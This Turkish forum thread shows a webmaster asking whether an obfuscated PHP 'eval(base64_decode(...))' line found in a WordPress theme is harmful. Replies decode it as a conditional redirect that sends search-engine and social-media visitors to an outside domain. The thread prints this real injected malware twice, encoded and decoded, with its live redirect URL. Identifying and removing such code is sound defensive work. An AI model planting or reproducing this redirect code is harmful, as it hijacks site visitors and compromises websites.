0
Kayıt Ol

eval(base64_decode ile kodlanmış.

4

●

701

  • 30-06-2013, 12:47:08
    #1
    SaLeh
    SaLeh 
    <?php	 	eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tL2wiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsKaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsIkVlWXAzRDciKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9vZXByZmEuZGRucy5tZS51ay8iKTsKZXhpdCgpOw0KfQp9Cn0KfQ0KfQ=="));
    Wp Temada Bu Kodlar Bulunuyor. Zararlı bir içerik mi? Bilgisi Olan Yardım Edebilir mi?
  • 30-06-2013, 12:53:04
    #2
    CemUter
    CemUter
    yazan kod budur :
    error_reporting(0); 
$qazplm=headers_sent(); 
if (!$qazplm){ 
$referer=$_SERVER['HTTP_REFERER']; 
$uag=$_SERVER['HTTP_USER_AGENT']; 
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") and !stristr($referer,"inurl") and !stristr($referer,"EeYp3D7")){
header("Location: http://oeprfa.ddns.me.uk/");
exit(); 
}
}
}
} 
}
  • 30-06-2013, 14:22:47
    #3
    SaLeh
    SaLeh
    CemUter adlı üyeden alıntı: mesajı görüntüle
    yazan kod budur :
    error_reporting(0); 
$qazplm=headers_sent(); 
if (!$qazplm){ 
$referer=$_SERVER['HTTP_REFERER']; 
$uag=$_SERVER['HTTP_USER_AGENT']; 
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") and !stristr($referer,"inurl") and !stristr($referer,"EeYp3D7")){
header("Location: http://oeprfa.ddns.me.uk/");
exit(); 
}
}
}
} 
}
    Hocam Bir Zararı var mı iframe yok gördüğüm kadarı ile siteye eklenti kurdum ondan sonra böyle oldu.
  • 30-06-2013, 14:24:44
    #4
    CemUter
    CemUter
    galiba sitenize google yaho vb. yerlerden gelen kişileri http://oeprfa.ddns.me.uk/ adresıne yonlendırıyor
  • 01-07-2013, 22:40:59
    #5
    BurakTur
    BurakTur
    Üyeliği durduruldu
    SaLeh adlı üyeden alıntı: mesajı görüntüle
    Hocam Bir Zararı var mı iframe yok gördüğüm kadarı ile siteye eklenti kurdum ondan sonra böyle oldu.
    Bende de bir eklenti var zararlı kodları gösteren bi eklenti.Bunları gösteriyordu bende de sildim şuan chech olarak görünüyor.Yani hatasız.